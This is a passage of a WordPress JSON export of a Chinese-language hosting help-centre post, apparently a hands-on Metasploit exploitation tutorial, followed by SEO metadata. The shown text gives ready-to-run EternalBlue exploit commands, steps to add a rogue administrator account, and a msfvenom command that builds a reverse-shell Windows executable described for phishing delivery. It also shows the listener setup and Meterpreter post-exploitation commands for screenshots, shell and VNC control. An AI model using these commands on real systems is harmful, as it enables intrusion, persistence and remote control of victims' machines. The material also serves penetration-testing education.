\u6316\u77ff\u8815\u866b&#xff1a;\u9759\u9ed8\u6316\u95e8\u7f57\u5e01<\/li>\n<\/ul>\n<h5>\u6838\u5fc3\u547d\u4ee4<\/h5>\n<p>msfconsole<br \/>\nuse exploit\/windows\/smb\/ms17_010_eternalblue<br \/>\n<span class=\"token builtin class-name\">set<\/span> payload windows\/x64\/shell\/bind_tcp<br \/>\n<span class=\"token builtin class-name\">set<\/span> rhosts <span class=\"token number\">192.168<\/span>.209.129<br \/>\nrun<\/p>\n<p><span class=\"token comment\"># \u540e\u6e17\u900f<\/span><br \/>\nnet user <span class=\"token builtin class-name\">test<\/span> <span class=\"token builtin class-name\">test<\/span> \/add                    <span class=\"token comment\"># \u65b0\u589e\u7528\u6237<\/span><br \/>\nnet localgroup administrators <span class=\"token builtin class-name\">test<\/span> \/add    <span class=\"token comment\"># \u63d0\u4e3a\u7ba1\u7406\u5458<\/span><br \/>\nnet user                                   <span class=\"token comment\"># \u9a8c\u8bc1<\/span><\/p>\n<h5>\u9a8c\u8bc1\u6f0f\u6d1e\u662f\u5426\u5b58\u5728<\/h5>\n<p>nmap <span class=\"token parameter variable\">-p<\/span> <span class=\"token number\">445<\/span> <span class=\"token parameter variable\">&#8211;script<\/span> smb-vuln-ms17-010 \u76ee\u6807IP<\/p>\n<hr \/>\n<h4>3.9 msfvenom \u2014 \u5236\u4f5c\u6728\u9a6c\u75c5\u6bd2<\/h4>\n<p>msfvenom \u662f MSF \u7684 Payload \u751f\u6210\u5668&#xff0c;\u53ef\u4ee5\u628a\u653b\u51fb\u8f7d\u8377\u5c01\u88c5\u6210\u53ef\u6267\u884c\u6587\u4ef6&#xff08;.exe&#xff09;&#xff0c;\u914d\u5408\u793e\u4f1a\u5de5\u7a0b\u5b66\u9493\u9c7c\u6295\u9012\u3002<\/p>\n<h5>\u5236\u4f5c\u75c5\u6bd2<\/h5>\n<p>msfvenom <span class=\"token parameter variable\">-p<\/span> windows\/meterpreter\/reverse_tcp <span class=\"token assign-left variable\">lhost<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token number\">192.168<\/span>.209.128 <span class=\"token assign-left variable\">lport<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token number\">7788<\/span> <span class=\"token parameter variable\">-f<\/span> exe <span class=\"token operator\">&gt;<\/span> hello.exe<\/p>\n<table>\n<tr>\u53c2\u6570\u8bf4\u660e<\/tr>\n<tbody>\n<tr>\n<td>-p<\/td>\n<td>\u6307\u5b9a Payload&#xff08;\u53cd\u5411 TCP \u8fde\u63a5&#xff09;<\/td>\n<\/tr>\n<tr>\n<td>lhost<\/td>\n<td>\u653b\u51fb\u8005 Kali \u7684 IP&#xff08;\u7b49\u5f85\u76ee\u6807\u8fde\u56de\u6765&#xff09;<\/td>\n<\/tr>\n<tr>\n<td>lport<\/td>\n<td>\u76d1\u542c\u7aef\u53e3<\/td>\n<\/tr>\n<tr>\n<td>-f exe<\/td>\n<td>\u8f93\u51fa\u683c\u5f0f\u4e3a Windows \u53ef\u6267\u884c\u6587\u4ef6<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h5>\u521b\u5efa\u76d1\u542c<\/h5>\n<p>msfconsole<br \/>\nuse exploit\/multi\/handler<br \/>\n<span class=\"token builtin class-name\">set<\/span> payload windows\/meterpreter\/reverse_tcp<br \/>\n<span class=\"token builtin class-name\">set<\/span> lhost <span class=\"token number\">0.0<\/span>.0.0<br \/>\n<span class=\"token builtin class-name\">set<\/span> lport <span class=\"token number\">7788<\/span><br \/>\nexploit <span class=\"token parameter variable\">-j<\/span>       <span class=\"token comment\"># \u540e\u53f0\u76d1\u542c<\/span><\/p>\n<h5>\u76ee\u6807\u6267\u884c\u540e\u7684\u64cd\u4f5c<\/h5>\n<p>screenshot      <span class=\"token comment\"># \u622a\u53d6\u76ee\u6807\u5c4f\u5e55<\/span><br \/>\nipconfig        <span class=\"token comment\"># \u67e5\u770b\u7f51\u7edc\u914d\u7f6e<\/span><br \/>\nshell           <span class=\"token comment\"># \u83b7\u53d6\u547d\u4ee4\u884c<\/span><br \/>\nrun vnc         <span class=\"token comment\"># \u8fdc\u7a0b\u684c\u9762\u63a7\u5236<\/span><\/p>\n<hr \/>\n<h3>\u56db\u3001\u4e5d\u4e2a\u6f0f\u6d1e\u6a2a\u5411\u5bf9\u6bd4<\/h3>\n<table>\n<tr>\u6f0f\u6d1e\u7f16\u53f7\u7c7b\u578b\u76ee\u6807\u89e6\u53d1\u65b9\u5f0f\u9ed8\u8ba4\u7aef\u53e3\u5371\u5bb3\u7b49\u7ea7<\/tr>\n<tbody>\n<tr>\n<td>MS08-067<\/td>\n<td>\u6808\u6ea2\u51fa<\/td>\n<td>Windows<\/td>\n<td>SMB RPC<\/td>\n<td>445<\/td>\n<td>&#x1f534; \u4e25\u91cd<\/td>\n<\/tr>\n<tr>\n<td>MS10-018<\/td>\n<td>\u5806\u6ea2\u51fa<\/td>\n<td>IE \u6d4f\u89c8\u5668<\/td>\n<td>\u8bbf\u95ee\u6076\u610f\u7f51\u9875<\/td>\n<td>\u65e0<\/td>\n<td>&#x1f534; \u4e25\u91cd<\/td>\n<\/tr>\n<tr>\n<td>MS10-087<\/td>\n<td>\u6808\u6ea2\u51fa<\/td>\n<td>Word<\/td>\n<td>\u6253\u5f00\u6076\u610f RTF<\/td>\n<td>\u65e0<\/td>\n<td>&#x1f534; \u4e25\u91cd<\/td>\n<\/tr>\n<tr>\n<td>CVE-2017-7494<\/td>\n<td>\u547d\u4ee4\u6ce8\u5165<\/td>\n<td>Samba(Linux)<\/td>\n<td>SMB \u7ba1\u9053<\/td>\n<td>445<\/td>\n<td>&#x1f534; \u4e25\u91cd<\/td>\n<\/tr>\n<tr>\n<td>CVE-2014-6271<\/td>\n<td>\u4ee3\u7801\u6ce8\u5165<\/td>\n<td>Bash(Linux)<\/td>\n<td>CGI \u73af\u5883\u53d8\u91cf<\/td>\n<td>80\/8080<\/td>\n<td>&#x1f534; \u4e25\u91cd<\/td>\n<\/tr>\n<tr>\n<td>CVE-2012-1823<\/td>\n<td>\u53c2\u6570\u6ce8\u5165<\/td>\n<td>PHP-CGI<\/td>\n<td>HTTP \u67e5\u8be2\u4e32<\/td>\n<td>80\/8080<\/td>\n<td>&#x1f7e0; \u9ad8\u5371<\/td>\n<\/tr>\n<tr>\n<td>CVE-2004-2678<\/td>\n<td>\u547d\u4ee4\u6ce8\u5165<\/td>\n<td>Distcc<\/td>\n<td>TCP \u7f16\u8bd1\u6307\u4ee4<\/td>\n<td>3632<\/td>\n<td>&#x1f7e1; \u4e2d\u5371<\/td>\n<\/tr>\n<tr>\n<td>MS17-010<\/td>\n<td>\u5806\u6ea2\u51fa<\/td>\n<td>Windows<\/td>\n<td>SMBv1<\/td>\n<td>445<\/td>\n<td>&#x1f534; \u6700\u4e25\u91cd<\/td>\n<\/tr>\n<tr>\n<td>msfvenom<\/td>\n<td>Payload<\/td>\n<td>Windows<\/td>\n<td>\u9493\u9c7c\u6267\u884c<\/td>\n<td>\u4efb\u610f<\/td>\n<td>&#x1f534; \u4e25\u91cd<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<hr \/>\n<h3>\u4e94\u3001MSF \u653b\u51fb\u6d41\u7a0b\u603b\u7ed3<\/h3>\n<p>1. \u4fe1\u606f\u6536\u96c6 \u2192 nmap \u626b\u7aef\u53e3&#xff0c;\u786e\u8ba4\u76ee\u6807\u7cfb\u7edf\u548c\u5f00\u653e\u670d\u52a1<br \/>\n       \u2193<br \/>\n2. \u6f0f\u6d1e\u641c\u7d22 \u2192 search &#043; info \u786e\u8ba4\u6f0f\u6d1e\u6a21\u5757\u548c\u9002\u7528\u6761\u4ef6<br \/>\n       \u2193<br \/>\n3. \u52a0\u8f7d\u6a21\u5757 \u2192 use \u52a0\u8f7d exploit<br \/>\n       \u2193<br \/>\n4. \u914d\u7f6e\u53c2\u6570 \u2192 set RHOST \/ LHOST \/ PAYLOAD \/ LPORT<br \/>\n       \u2193<br \/>\n5. \u6267\u884c\u653b\u51fb \u2192 run \/ exploit<br \/>\n       \u2193<br \/>\n6. \u83b7\u53d6 shell \u2192 \u8fdb\u5165 Meterpreter \u4f1a\u8bdd<br \/>\n       \u2193<br \/>\n7. \u540e\u6e17\u900f   \u2192 \u63d0\u6743 \/ \u6dfb\u52a0\u7528\u6237 \/ \u6a2a\u5411\u79fb\u52a8 \/ \u622a\u5c4f \/ VNC<\/p>\n<p>\u5199\u5728\u6700\u540e&#xff1a; Metasploit \u662f\u6e17\u900f\u6d4b\u8bd5\u4e2d\u6700\u5f3a\u5927\u7684\u6b66\u5668\u4e4b\u4e00\u3002\u4e5d\u4e2a\u7ecf\u5178\u6f0f\u6d1e\u4ece Windows SMB \u6ea2\u51fa\u5230 Linux Bash \u7834\u58f3&#xff0c;\u4ece\u6d4f\u89c8\u5668\u653b\u51fb\u5230 Office \u6587\u6863\u9493\u9c7c\u2014\u2014\u8986\u76d6\u4e86\u5185\u7f51\u3001\u5916\u7f51\u3001\u670d\u52a1\u7aef\u3001\u5ba2\u6237\u7aef\u5168\u573a\u666f\u3002\u638c\u63e1\u8fd9\u4e9b\u6f0f\u6d1e\u7684\u5229\u7528\u65b9\u6cd5\u548c\u5e95\u5c42\u539f\u7406&#xff0c;\u4f60\u5c31\u7ad9\u5728\u4e86\u6e17\u900f\u6d4b\u8bd5\u7684\u5b9e\u6218\u524d\u6cbf\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Metasploit \u6f0f\u6d1e\u5229\u7528\u5b9e\u6218 \u2014 \u4ece\u5165\u95e8\u5230\u62ff\u4e0b\u4e00\u53f0\u673a\u5668Metasploit&#xff08;MSF&#xff09;\u662f\u6e17\u900f\u6d4b\u8bd5\u754c\u7684\u745e\u58eb\u519b\u5200&#xff0c;\u6709\u4eba\u620f\u79f0\u5b83\u80fd\u300c\u9ed1\u6389\u6574\u4e2a\u5b87\u5b99\u300d\u3002\u5b83\u628a\u6f0f\u6d1e\u53d1\u73b0\u3001\u5229\u7528\u3001Payload \u751f\u6210\u3001\u540e\u6e17\u900f\u64cd\u4f5c\u6574\u5408\u5728\u4e00\u4e2a\u7edf\u4e00\u7684\u6846\u67b6\u91cc\u3002\u4eca\u5929\u5e26\u4f60\u4ece\u57fa\u672c\u547d\u4ee4\u5230\u4e5d\u5927\u7ecf\u5178\u6f0f\u6d1e\u5229\u7528&#xff0c;\u628a MSF \u7684\u5b9e\u6218\u80fd\u529b\u62c9\u6ee1\u3002\u4e00\u3001MSF \u6982\u8ff0Metasploit \u5c31\u662f\u4e00\u4e2a\u6f0f\u6d1e\u5229\u7528\u6846\u67b6\u3002\u5168\u79f0 The Metasploit Framework&#xff0c;\u7b80\u79f0 M<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[122],"topic":[],"class_list":["post-94937","post","type-post","status-publish","format-standard","hentry","category-server","tag-122"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Metasploit \u6f0f\u6d1e\u5229\u7528\u5b9e\u6218 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/94937.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Metasploit \u6f0f\u6d1e\u5229\u7528\u5b9e\u6218 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"Metasploit \u6f0f\u6d1e\u5229\u7528\u5b9e\u6218 \u2014 \u4ece\u5165\u95e8\u5230\u62ff\u4e0b\u4e00\u53f0\u673a\u5668Metasploit&#xff08;MSF&#xff09;\u662f\u6e17\u900f\u6d4b\u8bd5\u754c\u7684\u745e\u58eb\u519b\u5200&#xff0c;\u6709\u4eba\u620f\u79f0\u5b83\u80fd\u300c\u9ed1\u6389\u6574\u4e2a\u5b87\u5b99\u300d\u3002\u5b83\u628a\u6f0f\u6d1e\u53d1\u73b0\u3001\u5229\u7528\u3001Payload \u751f\u6210\u3001\u540e\u6e17\u900f\u64cd\u4f5c\u6574\u5408\u5728\u4e00\u4e2a\u7edf\u4e00\u7684\u6846\u67b6\u91cc\u3002\u4eca\u5929\u5e26\u4f60\u4ece\u57fa\u672c\u547d\u4ee4\u5230\u4e5d\u5927\u7ecf\u5178\u6f0f\u6d1e\u5229\u7528&#xff0c;\u628a MSF \u7684\u5b9e\u6218\u80fd\u529b\u62c9\u6ee1\u3002\u4e00\u3001MSF \u6982\u8ff0Metasploit \u5c31\u662f\u4e00\u4e2a\u6f0f\u6d1e\u5229\u7528\u6846\u67b6\u3002\u5168\u79f0 The Metasploit Framework&#xff0c;\u7b80\u79f0 M\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/94937.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2026-08-15T10:49:17+00:00\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/94937.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/94937.html\",\"name\":\"Metasploit \u6f0f\u6d1e\u5229\u7528\u5b9e\u6218 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2026-08-15T10:49:17+00:00\",\"dateModified\":\"2026-08-15T10:49:17+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/94937.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/94937.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/94937.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Metasploit \u6f0f\u6d1e\u5229\u7528\u5b9e\u6218\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Metasploit \u6f0f\u6d1e\u5229\u7528\u5b9e\u6218 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/94937.html","og_locale":"zh_CN","og_type":"article","og_title":"Metasploit \u6f0f\u6d1e\u5229\u7528\u5b9e\u6218 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"Metasploit \u6f0f\u6d1e\u5229\u7528\u5b9e\u6218 \u2014 \u4ece\u5165\u95e8\u5230\u62ff\u4e0b\u4e00\u53f0\u673a\u5668Metasploit&#xff08;MSF&#xff09;\u662f\u6e17\u900f\u6d4b\u8bd5\u754c\u7684\u745e\u58eb\u519b\u5200&#xff0c;\u6709\u4eba\u620f\u79f0\u5b83\u80fd\u300c\u9ed1\u6389\u6574\u4e2a\u5b87\u5b99\u300d\u3002\u5b83\u628a\u6f0f\u6d1e\u53d1\u73b0\u3001\u5229\u7528\u3001Payload \u751f\u6210\u3001\u540e\u6e17\u900f\u64cd\u4f5c\u6574\u5408\u5728\u4e00\u4e2a\u7edf\u4e00\u7684\u6846\u67b6\u91cc\u3002\u4eca\u5929\u5e26\u4f60\u4ece\u57fa\u672c\u547d\u4ee4\u5230\u4e5d\u5927\u7ecf\u5178\u6f0f\u6d1e\u5229\u7528&#xff0c;\u628a MSF \u7684\u5b9e\u6218\u80fd\u529b\u62c9\u6ee1\u3002\u4e00\u3001MSF \u6982\u8ff0Metasploit \u5c31\u662f\u4e00\u4e2a\u6f0f\u6d1e\u5229\u7528\u6846\u67b6\u3002\u5168\u79f0 The Metasploit Framework&#xff0c;\u7b80\u79f0 M","og_url":"https:\/\/www.wsisp.com\/helps\/94937.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2026-08-15T10:49:17+00:00","author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"4 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/94937.html","url":"https:\/\/www.wsisp.com\/helps\/94937.html","name":"Metasploit \u6f0f\u6d1e\u5229\u7528\u5b9e\u6218 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2026-08-15T10:49:17+00:00","dateModified":"2026-08-15T10:49:17+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/94937.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/94937.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/94937.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"Metasploit \u6f0f\u6d1e\u5229\u7528\u5b9e\u6218"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/94937","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=94937"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/94937\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=94937"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=94937"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=94937"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=94937"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}